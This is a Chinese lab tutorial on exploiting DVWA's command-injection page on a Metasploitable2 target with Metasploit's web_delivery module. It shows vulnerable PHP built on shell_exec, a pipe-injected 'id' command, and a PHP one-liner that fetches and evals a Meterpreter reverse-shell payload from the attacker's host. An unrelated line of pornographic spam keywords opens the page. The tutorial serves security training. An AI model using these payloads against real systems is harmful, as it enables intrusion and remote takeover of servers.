欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Kali滲透測試之使用Metasploit對Web應(yīng)用的攻擊

 更新時間:2022年05月18日 08:49:41   作者:m0_54861649  
這篇文章主要介紹了Kali滲透測試:使用Metasploit對Web應(yīng)用的攻擊,這種漏洞源于Web應(yīng)用程序沒有對用戶輸入的內(nèi)容進行準確的驗證,從而導(dǎo)致操作系統(tǒng)執(zhí)行了攻擊者輸入的命令,需要的朋友可以參考下

Web應(yīng)用程序的漏洞數(shù)量眾多,這里我們以其中一個命令注入漏洞為例復(fù)現(xiàn)一下。這種漏洞源于Web應(yīng)用程序沒有對用戶輸入的內(nèi)容進行準確的驗證,從而導(dǎo)致操作系統(tǒng)執(zhí)行了攻擊者輸入的命令。下面是一段運行在Metasploitable2靶機上的PHP腳本,它來自于DVWA,代碼如下:

<html>
  <body>
    <form name="ping" action="#" method="post">
      <input type="text" name="ip" size="30">
      <input type="submit" value="submit" name="submit">
    </form>
  </body>
</html>

首先是是一個帶有輸入框的頁面代碼,在瀏覽器中這段代碼會被執(zhí)行成一個如下圖所示的頁面:

當(dāng)用戶在 圖中所示的文本框中輸入一個IP地址,例如“127.0.0.1”,服務(wù)器會將這個值傳遞給下面的PHP腳本進行處理。

<?php
  if(isset($_POST['submit'])){
    $target = $_REQUEST['ip'];
    $cmd = shell_exec('ping -c 3 '. $target);
  }
  ?>

該腳本會將用戶輸入的值“127.0.0.1”保存到變量$target中。這樣一來,將‘ping -c 3’與其連接起來,系統(tǒng)要執(zhí)行的命令就變成了以下形式:

shell_exec('ping -c 3 127.0.0.1');

shell_exec()是PHP中執(zhí)行系統(tǒng)命令的4個函數(shù)之一, 它通過shell環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。也就是說,PHP先運行一個shell環(huán)境,然后讓shell進程運行命令,并且把所有輸出以字符串形式返回,如果程序執(zhí)行錯誤或者沒有任何輸出,則返回null。

這命令執(zhí)行以后,PHP會調(diào)用操作系統(tǒng)對127.0.0.1這個IP地址執(zhí)行ping操作,這里使用參數(shù)-c(指定ping操作的次數(shù)),是因為Linux在進行ping操作時不會自動停止,所以需要限制ping的次數(shù)。

正常情況,用戶可以使用網(wǎng)站這個功能。但是這段代碼編寫并不安全,攻擊者可以借此來執(zhí)行除了ping之外的操作,而且很容易實現(xiàn)。攻擊者接著系統(tǒng)命令的特性,在輸入中國呢添加“|”或者“&&”管道符來執(zhí)行其他命令。例如在Linux系統(tǒng)中,“|”是管道命令操作符。利用“|”將兩個命令隔開,管道符左邊命令的輸出就會作為管道符右邊命令的輸入。如下圖所示:

提交這個參數(shù)以后,系統(tǒng)會執(zhí)行以下命令:

shell_exec('ping -c 3 127.0.0.1|id');

實際上,這里一共執(zhí)行了兩條命令,分別是“ping -c 127.0.0.1”和“id”,第一條命令的輸出會作為第二條命令的輸入,但是第一條命令的結(jié)果不會顯示,只有第二條命令的結(jié)果才會顯示出來。這就是命令注入漏洞,當(dāng)攻擊者發(fā)現(xiàn)目標(biāo)網(wǎng)站存在命令注入攻擊漏洞以后,可以很輕易地實現(xiàn)對其進行滲透。

實 驗 環(huán) 境

攻擊機:Linux kali 5.10.0 IP: 192.168.68.125

服務(wù)器:Metasploitable2-Linux IP:192.168.68.205

接下來結(jié)合滲透工具Metasploit來完成一次攻擊的示例,滲透的目標(biāo)是運行了DVWA的Metasploitable2服務(wù)器。DVWA的“Command Execution”命令執(zhí)行漏洞界面,如下圖所示:

Metasploit中包含一個十分方便的模塊web_delivery,它包含了以下功能:

  • 生成一個木馬程序
  • 啟動一個發(fā)布該木馬程序的服務(wù)器
  • 生成一條命令,當(dāng)目標(biāo)主機執(zhí)行這條命令以后,就會連接服務(wù)器A,下載并執(zhí)行該木馬程序

實 驗 步 驟

1. 在Kali中啟動并進入msf6

輸入如下命令:

┌──(kali?kali)-[~]
└─$ msfconsole
msf6 >?

2. 啟動web_delivery模塊

msf6 > use exploit/multi/script/web_delivery

這個模塊中涉及的參數(shù)如下圖所示:

我們需要指定目標(biāo)的類型,在本例中目標(biāo)是一臺運行著PHP語言編寫的Web應(yīng)用程序的Linux服務(wù)器,所以可將類型指定為PHP。使用“show targets”命令可以看到web_delivery模塊所支持的類型,如下圖所示:

3. 設(shè)置木馬類型、木馬主控端IP地址和端口

輸入如下命令:

msf6 exploit(multi/script/web_delivery) > set target 1
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.68.125
msf6 exploit(multi/script/web_delivery) > set lport 8888

結(jié)果如下圖所示:

4. 執(zhí)行run

輸入run命令,模塊web_delivery會啟動服務(wù)器。如下圖所示:

圖中紅框中的命令非常重要,它就是我們要在目標(biāo)系統(tǒng)上運行的命令。

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.68.125:8080/E7mvRltiKXUbdQ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false])));

5. 在靶機DVWA中“Command Execution”頁面中注入命令

輸入一個由&&連接的IP地址和上面的命令,如下圖所示:

點擊“submit”按鈕,目標(biāo)系統(tǒng)就會下載并執(zhí)行木馬文件,之后會建立一個Meterpreter會話,如下圖所示:

6. 在Kali中查看session

會話已經(jīng)建立,但是該模塊不會自動進入Meterpreter會話,我們可以使用sessions命令查看已經(jīng)打開的活動會話,輸入如下命令:

msf6 exploit(multi/script/web_delivery) > sessions

如下圖所示:

執(zhí)行如下命令,進入會話中:

msf6 exploit(multi/script/web_delivery) > sessions -i 1

下圖演示了整個命令注入的完整過程:

到此這篇關(guān)于Kali滲透測試:使用Metasploit對Web應(yīng)用的攻擊的文章就介紹到這了,更多相關(guān)Kali滲透測試內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • yum安裝telnet的步驟

    yum安裝telnet的步驟

    Telnet協(xié)議是TCP/IP協(xié)議族中的一員,是Internet遠程登錄服務(wù)的標(biāo)準協(xié)議和主要方式,Telnet是常用的遠程控制Web服務(wù)器的方法,本文給大家分享yum安裝telnet的步驟,感興趣的朋友一起看看吧
    2020-05-05
  • git使用教程(最詳細、最傻瓜)

    git使用教程(最詳細、最傻瓜)

    這篇文章主要介紹了git使用教程(最詳細、最傻瓜),文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-07-07
  • 深度學(xué)習(xí)開源框架基礎(chǔ)算法之傅立葉變換的概要介紹

    深度學(xué)習(xí)開源框架基礎(chǔ)算法之傅立葉變換的概要介紹

    今天小編就為大家分享一篇關(guān)于深度學(xué)習(xí)開源框架基礎(chǔ)算法之傅立葉變換的概要介紹,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2018-12-12
  • Idea中使用git查看歷史版本的方法

    Idea中使用git查看歷史版本的方法

    在IDEA中搜索并安裝Git插件,我們可以輕松地將Git集成到IDEA中,本文主要介紹了Idea中使用git查看歷史版本的方法,具有一定的參考價值,感興趣的可以了解一下
    2024-03-03
  • 如何使用clion中配置ROS工程

    如何使用clion中配置ROS工程

    這篇文章主要介紹了如何使用clion中配置ROS工程,本文給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-08-08
  • 計算機中的字符串編碼、亂碼、BOM等問題詳解

    計算機中的字符串編碼、亂碼、BOM等問題詳解

    這篇文章主要介紹了計算機中的字符串編碼、亂碼、BOM等問題詳解,對文件編碼、vim亂碼、什么情況下會出現(xiàn)亂碼、字符編碼的發(fā)展歷史、字符集和編碼的區(qū)別、漢字ANSI編碼的發(fā)展歷史、BOM頭等問題做了全面總結(jié)、詳細介紹,需要的朋友可以參考下
    2014-07-07
  • HTTP協(xié)議簡介_動力節(jié)點Java學(xué)院整理

    HTTP協(xié)議簡介_動力節(jié)點Java學(xué)院整理

    這篇文章主要介紹了HTTP協(xié)議簡介,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-07-07
  • 詳細HTTP協(xié)議的前世今生

    詳細HTTP協(xié)議的前世今生

    超文本傳輸協(xié)議(Hypertext Transfer Protocol,HTTP)是一個簡單的請求-響應(yīng)協(xié)議,它通常運行在TCP之上。它指定了客戶端可能發(fā)送給服務(wù)器什么樣的消息以及得到什么樣的響應(yīng)。請求和響應(yīng)消息的頭以ASCII形式給出;而消息內(nèi)容則具有一個類似MIME的格式
    2021-06-06
  • OB系統(tǒng)變量Variables及ODC管理會話功能詳解

    OB系統(tǒng)變量Variables及ODC管理會話功能詳解

    這篇文章主要為大家介紹了OB系統(tǒng)變量Variables及ODC管理會話功能詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-12-12
  • 分布式系統(tǒng)CAP定理中的P原理解析

    分布式系統(tǒng)CAP定理中的P原理解析

    這篇文章主要為大家介紹了分布式系統(tǒng)CAP定理中的P原理解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-02-02

最新評論